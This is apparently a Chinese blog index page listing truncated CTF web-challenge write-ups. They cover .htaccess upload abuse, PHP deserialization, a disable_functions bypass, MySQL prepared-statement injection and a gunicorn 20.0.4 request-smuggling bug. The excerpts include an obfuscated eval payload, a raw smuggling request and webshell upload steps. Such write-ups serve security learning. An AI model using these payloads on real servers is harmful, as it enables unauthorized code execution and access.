![](https://img-blog.csdnimg.cn/20201014180756928.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
刷题
I·CE
学的杂,,,
展开
-
[SUCTF 2019]EasyWeb
知识点:AddType application/x-httpd-php .ahhh//http头添加使得.ahhh当作php脚本解析GIF89a文件头欺骗GIF89a12 12是为了补足8个字节,满足base64编码的规则绕过open_basedir无数字字母webshellpython上传脚本import requestsimport base64htaccess = b"""#define width 1337#define height 1337 AddType ap原创 2022-05-28 16:57:10 · 230 阅读 · 0 评论 -
[FBCTF2019]RCEService
源码:<?phpputenv('PATH=/home/rceservice/jail');if (isset($_REQUEST['cmd'])) { $json = $_REQUEST['cmd']; if (!is_string($json)) { echo 'Hacking attempt detected<br/><br/>'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|原创 2022-05-28 16:56:12 · 216 阅读 · 0 评论 -
gunicorn 20.0.4 请求走私漏洞
某比赛的一个题,不知道结束没有,就不说名字了gunicorn <= 20.0.4,无论在gunicorn 前使用哪个代理,该漏洞都有效, Http头中的Sec-Websocket-Key: 1会进行特殊解析,从而引发此漏洞/fl4g禁止访问payload:echo -en "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTT原创 2022-05-26 20:25:28 · 1550 阅读 · 0 评论 -
phar反序列化学习SWPUCTF2018 SimplePHP
https://xz.aliyun.com/t/3692#toc-13<?phpclass C1e4r{ public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str;原创 2022-05-26 20:23:39 · 199 阅读 · 0 评论 -
disable_function_bypass 2019极客大挑战rce_me
取反,可以使用yu师傅的脚本?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);绕disable_function找可上传的地方上传文件bypass_disablefun_x64.so和bypass_disablefunc.php(重命名为shell.php)然后包含一下shell.phphttp://site.com/bypass_disablefunc原创 2022-05-26 20:22:17 · 610 阅读 · 0 评论 -
file_get_contonts[ZJCTF 2019]NiZhuanSiWei
<?php $text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>.原创 2022-05-26 20:18:25 · 97 阅读 · 0 评论 -
badlyserialize
<?phpinclude "waf.php";class NISA{ public $fun="show_me_flag"; public $txw4ever; public function __wakeup() { if($this->fun=="show_me_flag"){ hint(); } } function __call($from,$val){ $thi原创 2022-05-26 20:14:46 · 66 阅读 · 0 评论 -
[天翼杯 2021]esay_eval
<?phpclass A{ public $code = ""; function __call($method,$args){ eval($this->code); } function __wakeup(){ $this->code = ""; }}class B{ function __destruct(){ echo $this->a->a();原创 2022-05-26 20:13:46 · 347 阅读 · 0 评论 -
[SUCTF 2018]MultiSQL-MySQL预处理
MySQL传统处理:客户端准备sql语句发送sql语句到MySQL服务器MySQL服务器执行sql语句服务器执行结果返回客户端预处理基本策略:将sql语句强制一分为二:第一部分为前面相同命令和结构部分第二部分为后面可变数据部分首先将前面的sql语句发送给MySQL服务器,让其先执行溢出预处理(并没有真正的执行)第一次发送sql语句的时候将其中可变的数据部分都用一个数据占位符来表示,比如问号?不带参数的预处理准备预处理语句prepare 语句名称 from “预处理的sql原创 2022-05-26 20:11:07 · 254 阅读 · 0 评论 -
[WUSTCTF 2020]朴实无华
if (isset($_GET['num'])){ //num=1e10,类型转化 $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题").原创 2022-05-26 20:07:49 · 252 阅读 · 0 评论 -
NSSCTF prize_p5
源码<?phperror_reporting(0); class catalogue{ public $class; public $data; public function __construct() { $this->class = "error"; $this->data = "hacker"; } public function __destruct() { echo原创 2022-05-26 20:04:24 · 414 阅读 · 0 评论 -
记一次原生类反序列化题
源码: <?phphighlight_file(__FILE__);class a{ public $un0; public $un1; public $un2; public $un3; public $un4; public function __destruct(){ if(!empty($this->un0) && empty($this->un2)){ $th原创 2022-05-26 20:01:29 · 112 阅读 · 0 评论